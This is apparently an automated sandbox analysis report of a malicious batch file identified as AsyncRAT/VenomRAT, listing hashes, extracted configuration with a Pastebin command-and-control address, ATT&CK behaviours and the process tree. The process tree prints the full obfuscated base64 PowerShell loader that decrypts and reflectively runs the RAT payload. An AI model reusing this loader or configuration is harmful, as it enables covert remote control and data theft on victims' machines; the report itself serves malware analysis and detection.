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Analysis
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max time kernel
102s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20250314-en -
resource tags
arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system -
submitted
18/03/2025, 16:51
Static task
static1
Behavioral task
behavioral1
Sample
94917200997082_20250101_20250211_404111.bat
Resource
win7-20240729-en
General
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Target
94917200997082_20250101_20250211_404111.bat
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Size
207KB
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MD5
58234103928767a4be6e3ecc93b24887
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SHA1
f624ccc81ee70acf99226cf037a2860d1ad9fa0e
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SHA256
ea3a820ce7d9424ff53882a56b65ce712ec27c09fa9e9149ee7339d67f296b9f
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SHA512
3a3bbe14d0c8971698d2d53fc22bb0c28e97d9f5cdce4042290261d2f8da1e9bd1de3d2260958423535fb5f6a5f704cb74ca74038c8e8b5658c05dda82cbac9d
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SSDEEP
6144:nojU+S5xN0iICHfi26DqDB3rN/Bei2463e0yEFJn:yUP53VHf1HDB3rN/Bei2463e05
Malware Config
Extracted
asyncrat
Venom RAT + HVNC + Stealer + Grabber v6.0.3
FEB 27 LOGS
dwjsrlleihmlidl
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delay
1
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install
false
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install_folder
%AppData%
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pastebin_config
https://pastebin.com/raw/i3NzmwEg
Signatures
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Asyncrat family
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resource yara_rule behavioral2/memory/3988-31-0x0000000007280000-0x0000000007298000-memory.dmp VenomRAT -
Venomrat family
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Async RAT payload 1 IoCs
resource yara_rule behavioral2/memory/3988-31-0x0000000007280000-0x0000000007298000-memory.dmp family_asyncrat -
Blocklisted process makes network request 2 IoCs
flow pid Process 12 3988 powershell.exe 13 3988 powershell.exe -
pid Process 3988 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 12 pastebin.com 11 pastebin.com -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 3988 powershell.exe 3988 powershell.exe 3988 powershell.exe 3988 powershell.exe 3988 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3988 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3988 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 3468 wrote to memory of 3424 3468 cmd.exe 87 PID 3468 wrote to memory of 3424 3468 cmd.exe 87 PID 3424 wrote to memory of 3988 3424 cmd.exe 91 PID 3424 wrote to memory of 3988 3424 cmd.exe 91 PID 3424 wrote to memory of 3988 3424 cmd.exe 91
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\94917200997082_20250101_20250211_404111.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3468 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\94917200997082_20250101_20250211_404111.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3424 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiRzY3JpcHRDb250ZW50ID0gQCcNCiR1c2VyY2Z0bnZOYW1lIGNmdG52PSAkZW5jZnRudnY6VVNFY2Z0bnZSTkFNRWNmdG52OyRxdG1jZnRudnp4ID0gY2Z0bnYiQzpcVWNmdG52c2Vyc1xjZnRudiR1c2VyY2Z0bnZOYW1lXGNmdG52ZHdtLmJjZnRudmF0IjtpY2Z0bnZmIChUZWNmdG52c3QtUGFjZnRudnRoICRxY2Z0bnZ0bXp4KWNmdG52IHsgICBjZnRudiBXcml0Y2Z0bnZlLUhvc2NmdG52dCAiQmFjZnRudnRjaCBmY2Z0bnZpbGUgZmNmdG52b3VuZDpjZnRudiAkcXRtY2Z0bnZ6eCIgLWNmdG52Rm9yZWdjZnRudnJvdW5kY2Z0bnZDb2xvcmNmdG52IEN5YW5jZnRudjsgICAgY2Z0bnYkZmlsZWNmdG52TGluZXNjZnRudiA9IFtTY2Z0bnZ5c3RlbWNmdG52LklPLkZjZnRudmlsZV06Y2Z0bnY6UmVhZGNmdG52QWxsTGljZnRudm5lcygkY2Z0bnZxdG16eGNmdG52LCBbU3ljZnRudnN0ZW0uY2Z0bnZUZXh0LmNmdG52RW5jb2RjZnRudmluZ106Y2Z0bnY6VVRGOGNmdG52KTsgICBjZnRudiBmb3JlY2Z0bnZhY2ggKGNmdG52JGxpbmVjZnRudiBpbiAkY2Z0bnZmaWxlTGNmdG52aW5lcyljZnRudiB7ICAgY2Z0bnYgICAgIGNmdG52aWYgKCRjZnRudmxpbmUgY2Z0bnYtbWF0Y2NmdG52aCAnXjpjZnRudjo6ID8oY2Z0bnYuKykkJ2NmdG52KSB7ICBjZnRudiAgICAgY2Z0bnYgICAgIGNmdG52V3JpdGVjZnRudi1Ib3N0Y2Z0bnYgIkluamNmdG52ZWN0aW9jZnRudm4gY29kY2Z0bnZlIGRldGNmdG52ZWN0ZWRjZnRudiBpbiB0Y2Z0bnZoZSBiYWNmdG52dGNoIGZjZnRudmlsZS4iY2Z0bnYgLUZvcmNmdG52ZWdyb3VjZnRudm5kQ29sY2Z0bnZvciBDeWNmdG52YW47ICBjZnRudiAgICAgY2Z0bnYgICAgIGNmdG52dHJ5IHtjZnRudiAgICAgY2Z0bnYgICAgIGNmdG52ICAgICBjZnRudiAkZGVjY2Z0bnZvZGVkQmNmdG52eXRlcyBjZnRudj0gW1N5Y2Z0bnZzdGVtLmNmdG52Q29udmVjZnRudnJ0XTo6Y2Z0bnZGcm9tQmNmdG52YXNlNjRjZnRudlN0cmluY2Z0bnZnKCRtYWNmdG52dGNoZXNjZnRudlsxXS5UY2Z0bnZyaW0oKWNmdG52KTsgICBjZnRudiAgICAgY2Z0bnYgICAgIGNmdG52ICAgJGljZnRudm5qZWN0Y2Z0bnZpb25Db2NmdG52ZGUgPSBjZnRudltTeXN0Y2Z0bnZlbS5UZWNmdG52eHQuRW5jZnRudmNvZGluY2Z0bnZnXTo6VWNmdG52bmljb2RjZnRudmUuR2V0Y2Z0bnZTdHJpbmNmdG52ZygkZGVjZnRudmNvZGVkY2Z0bnZCeXRlc2NmdG52KTsgICBjZnRudiAgICAgY2Z0bnYgICAgIGNmdG52ICAgV3JjZnRudml0ZS1IY2Z0bnZvc3QgImNmdG52SW5qZWNjZnRudnRpb24gY2Z0bnZjb2RlIGNmdG52ZGVjb2RjZnRudmVkIHN1Y2Z0bnZjY2Vzc2NmdG52ZnVsbHljZnRudi4iIC1GY2Z0bnZvcmVncmNmdG52b3VuZENjZnRudm9sb3IgY2Z0bnZHcmVlbmNmdG52OyAgICBjZnRudiAgICAgY2Z0bnYgICAgIGNmdG52ICBXcmljZnRudnRlLUhvY2Z0bnZzdCAiRWNmdG52eGVjdXRjZnRudmluZyBpY2Z0bnZuamVjdGNmdG52aW9uIGNjZnRudm9kZS4uY2Z0bnYuIiAtRmNmdG52b3JlZ3JjZnRudm91bmRDY2Z0bnZvbG9yIGNmdG52WWVsbG9jZnRudnc7ICAgY2Z0bnYgICAgIGNmdG52ICAgICBjZnRudiAgIEluY2Z0bnZ2b2tlLWNmdG52RXhwcmVjZnRudnNzaW9uY2Z0bnYgJGluamNmdG52ZWN0aW9jZnRudm5Db2RlY2Z0bnY7ICAgIGNmdG52ICAgICBjZnRudiAgICAgY2Z0bnYgIGJyZWNmdG52YWs7ICBjZnRudiAgICAgY2Z0bnYgICAgIGNmdG52fSBjYXRjZnRudmNoIHsgY2Z0bnYgICAgIGNmdG52ICAgICBjZnRudiAgICAgY2Z0bnZXcml0ZWNmdG52LUhvc3RjZnRudiAiRXJyY2Z0bnZvciBkdWNmdG52cmluZyBjZnRudmRlY29kY2Z0bnZpbmcgb2NmdG52ciBleGVjZnRudmN1dGluY2Z0bnZnIGluamNmdG52ZWN0aW9jZnRudm4gY29kY2Z0bnZlOiAkX2NmdG52IiAtRm9jZnRudnJlZ3JvY2Z0bnZ1bmRDb2NmdG52bG9yIFJjZnRudmVkOyAgY2Z0bnYgICAgIGNmdG52ICAgICBjZnRudn07ICAgY2Z0bnYgICAgIGNmdG52fTsgICBjZnRudiB9O30gY2Z0bnZlbHNlIGNmdG52eyAgICBjZnRudiAgV3JpY2Z0bnZ0ZS1Ib2NmdG52c3QgIlNjZnRudnlzdGVtY2Z0bnYgRXJyb2NmdG52cjogQmFjZnRudnRjaCBmY2Z0bnZpbGUgbmNmdG52b3QgZm9jZnRudnVuZDogY2Z0bnYkcXRtemNmdG52eCIgLUZjZnRudm9yZWdyY2Z0bnZvdW5kQ2NmdG52b2xvciBjZnRudlJlZDsgY2Z0bnYgICBleGNmdG52aXQ7fTtjZnRudmZ1bmN0Y2Z0bnZpb24gaWNmdG52bW1uZShjZnRudiRwYXJhY2Z0bnZtX3ZhcmNmdG52KXsJJGFjZnRudmVzX3ZhY2Z0bnZyPVtTeWNmdG52c3RlbS5jZnRudlNlY3VyY2Z0bnZpdHkuQ2NmdG52cnlwdG9jZnRudmdyYXBoY2Z0bnZ5LkFlc2NmdG52XTo6Q3JjZnRudmVhdGUoY2Z0bnYpOwkkYWNmdG52ZXNfdmFjZnRudnIuTW9kY2Z0bnZlPVtTeWNmdG52c3RlbS5jZnRudlNlY3VyY2Z0bnZpdHkuQ2NmdG52cnlwdG9jZnRudmdyYXBoY2Z0bnZ5LkNpcGNmdG52aGVyTW9jZnRudmRlXTo6Y2Z0bnZDQkM7CWNmdG52JGFlc19jZnRudnZhci5QY2Z0bnZhZGRpbmNmdG52Zz1bU3ljZnRudnN0ZW0uY2Z0bnZTZWN1cmNmdG52aXR5LkNjZnRudnJ5cHRvY2Z0bnZncmFwaGNmdG52eS5QYWRjZnRudmRpbmdNY2Z0bnZvZGVdOmNmdG52OlBLQ1NjZnRudjc7CSRhY2Z0bnZlc192YWNmdG52ci5LZXljZnRudj1bU3lzY2Z0bnZ0ZW0uQ2NmdG52b252ZXJjZnRudnRdOjpGY2Z0bnZyb21CYWNmdG52c2U2NFNjZnRudnRyaW5nY2Z0bnYoJzUxVWNmdG52VjExTThjZnRudlNBMnZrY2Z0bnZuSDZOc2NmdG52SmNrNkRjZnRudlhpNVA1Y2Z0bnZlRkFoSmNmdG52OWc2b0NjZnRudkR4UjJrY2Z0bnY9Jyk7CWNmdG52JGFlc19jZnRudnZhci5JY2Z0bnZWPVtTeWNmdG52c3RlbS5jZnRudkNvbnZlY2Z0bnZydF06OmNmdG52RnJvbUJjZnRudmFzZTY0Y2Z0bnZTdHJpbmNmdG52ZygnVzVjZnRudmhITEJOY2Z0bnZ0RGNDT2NmdG52djh1Q2JjZnRudjIrNTNRY2Z0bnY9PScpO2NmdG52CSRkZWNjZnRudnJ5cHRvY2Z0bnZyX3ZhcmNmdG52PSRhZXNjZnRudl92YXIuY2Z0bnZDcmVhdGNmdG52ZURlY3JjZnRudnlwdG9yY2Z0bnYoKTsJJGNmdG52cmV0dXJjZnRudm5fdmFyY2Z0bnY9JGRlY2NmdG52cnlwdG9jZnRudnJfdmFyY2Z0bnYuVHJhbmNmdG52c2Zvcm1jZnRudkZpbmFsY2Z0bnZCbG9ja2NmdG52KCRwYXJjZnRudmFtX3ZhY2Z0bnZyLCAwLGNmdG52ICRwYXJjZnRudmFtX3ZhY2Z0bnZyLkxlbmNmdG52Z3RoKTtjZnRudgkkZGVjY2Z0bnZyeXB0b2NmdG52cl92YXJjZnRudi5EaXNwY2Z0bnZvc2UoKWNmdG52OwkkYWVjZnRudnNfdmFyY2Z0bnYuRGlzcGNmdG52b3NlKCljZnRudjsJJHJlY2Z0bnZ0dXJuX2NmdG52dmFyO31jZnRudmZ1bmN0Y2Z0bnZpb24gdGNmdG52ZGJzayhjZnRudiRwYXJhY2Z0bnZtX3ZhcmNmdG52KXsJJGJjZnRudnpmb2o9Y2Z0bnZOZXctT2NmdG52YmplY3RjZnRudiBTeXN0Y2Z0bnZlbS5JT2NmdG52Lk1lbW9jZnRudnJ5U3RyY2Z0bnZlYW0oLGNmdG52JHBhcmFjZnRudm1fdmFyY2Z0bnYpOwkkdmNmdG52cml6cj1jZnRudk5ldy1PY2Z0bnZiamVjdGNmdG52IFN5c3RjZnRudmVtLklPY2Z0bnYuTWVtb2NmdG52cnlTdHJjZnRudmVhbTsJY2Z0bnYkaG90cGNmdG52bT1OZXdjZnRudi1PYmplY2Z0bnZjdCBTeWNmdG52c3RlbS5jZnRudklPLkNvY2Z0bnZtcHJlc2NmdG52c2lvbi5jZnRudkdaaXBTY2Z0bnZ0cmVhbWNmdG52KCRiemZjZnRudm9qLCBbY2Z0bnZJTy5Db2NmdG52bXByZXNjZnRudnNpb24uY2Z0bnZDb21wcmNmdG52ZXNzaW9jZnRudm5Nb2RlY2Z0bnZdOjpEZWNmdG52Y29tcHJjZnRudmVzcyk7Y2Z0bnYJJGhvdGNmdG52cG0uQ29jZnRudnB5VG8oY2Z0bnYkdnJpemNmdG52cik7CSRjZnRudmhvdHBtY2Z0bnYuRGlzcGNmdG52b3NlKCljZnRudjsJJGJ6Y2Z0bnZmb2ouRGNmdG52aXNwb3NjZnRudmUoKTsJY2Z0bnYkdnJpemNmdG52ci5EaXNjZnRudnBvc2UoY2Z0bnYpOwkkdmNmdG52cml6ci5jZnRudlRvQXJyY2Z0bnZheSgpO2NmdG52fWZ1bmNjZnRudnRpb24gY2Z0bnZqZXJhdGNmdG52KCRwYXJjZnRudmFtX3ZhY2Z0bnZyLCRwYWNmdG52cmFtMl9jZnRudnZhcil7Y2Z0bnYJJHV3YWNmdG52c3I9W1NjZnRudnlzdGVtY2Z0bnYuUmVmbGNmdG52ZWN0aW9jZnRudm4uQXNzY2Z0bnZlbWJseWNmdG52XTo6KCdjZnRudmRhb0wnY2Z0bnZbLTEuLmNmdG52LTRdIC1jZnRudmpvaW4gY2Z0bnYnJykoW2NmdG52Ynl0ZVtjZnRudl1dJHBhY2Z0bnZyYW1fdmNmdG52YXIpOwljZnRudiR5Z3hyY2Z0bnZkPSR1d2NmdG52YXNyLkVjZnRudm50cnlQY2Z0bnZvaW50O2NmdG52CSR5Z3hjZnRudnJkLkluY2Z0bnZ2b2tlKGNmdG52JG51bGxjZnRudiwgJHBhY2Z0bnZyYW0yX2NmdG52dmFyKTtjZnRudn0kaG9zY2Z0bnZ0LlVJLmNmdG52UmF3VUljZnRudi5XaW5kY2Z0bnZvd1RpdGNmdG52bGUgPSBjZnRudiRxdG16Y2Z0bnZ4OyRxemNmdG52aHJ2PVtjZnRudlN5c3RlY2Z0bnZtLklPLmNmdG52RmlsZV1jZnRudjo6KCd0Y2Z0bnZ4ZVRsbGNmdG52QWRhZVJjZnRudidbLTEuY2Z0bnYuLTExXWNmdG52IC1qb2ljZnRudm4gJycpY2Z0bnYoJHF0bWNmdG52engpLlNjZnRudnBsaXQoY2Z0bnZbRW52aWNmdG52cm9ubWVjZnRudm50XTo6Y2Z0bnZOZXdMaWNmdG52bmUpO2ZjZnRudm9yZWFjY2Z0bnZoICgkb2NmdG52dHJvYiBjZnRudmluICRxY2Z0bnZ6aHJ2KWNmdG52IHsJaWZjZnRudiAoJG90Y2Z0bnZyb2IuU2NmdG52dGFydHNjZnRudldpdGgoY2Z0bnYnOjogJ2NmdG52KSkJewljZnRudgkkcm9mY2Z0bnZwcz0kb2NmdG52dHJvYi5jZnRudlN1YnN0Y2Z0bnZyaW5nKGNmdG52Myk7CQljZnRudmJyZWFrY2Z0bnY7CX19JGNmdG52eXZkaXNjZnRudj1bc3RyY2Z0bnZpbmdbXWNmdG52XSRyb2ZjZnRudnBzLlNwY2Z0bnZsaXQoJ2NmdG52XCcpOyRjZnRudmhrem16Y2Z0bnY9dGRic2NmdG52ayAoaW1jZnRudm1uZSAoY2Z0bnZbQ29udmNmdG52ZXJ0XTpjZnRudjpGcm9tY2Z0bnZCYXNlNmNmdG52NFN0cmljZnRudm5nKCR5Y2Z0bnZ2ZGlzW2NmdG52MF0pKSljZnRudjskZnV3Y2Z0bnZydz10ZGNmdG52YnNrIChjZnRudmltbW5lY2Z0bnYgKFtDb2NmdG52bnZlcnRjZnRudl06OkZyY2Z0bnZvbUJhc2NmdG52ZTY0U3RjZnRudnJpbmcoY2Z0bnYkeXZkaWNmdG52c1sxXSljZnRudikpO2plY2Z0bnZyYXQgJGNmdG52aGt6bXpjZnRudiAkbnVsY2Z0bnZsO2plcmNmdG52YXQgJGZjZnRudnV3cncgY2Z0bnYoLFtzdGNmdG52cmluZ1tjZnRudl1dICgnY2Z0bnYlKicpKWNmdG52Ow0KJ0ANCg0KJGRlb2JmdXNjYXRlZCA9ICRzY3JpcHRDb250ZW50IC1yZXBsYWNlICdjZnRudicsICcnDQoNCkludm9rZS1FeHByZXNzaW9uICRkZW9iZnVzY2F0ZWQNCg==')) | Invoke-Expression"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3988
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
207KB
MD558234103928767a4be6e3ecc93b24887
SHA1f624ccc81ee70acf99226cf037a2860d1ad9fa0e
SHA256ea3a820ce7d9424ff53882a56b65ce712ec27c09fa9e9149ee7339d67f296b9f
SHA5123a3bbe14d0c8971698d2d53fc22bb0c28e97d9f5cdce4042290261d2f8da1e9bd1de3d2260958423535fb5f6a5f704cb74ca74038c8e8b5658c05dda82cbac9d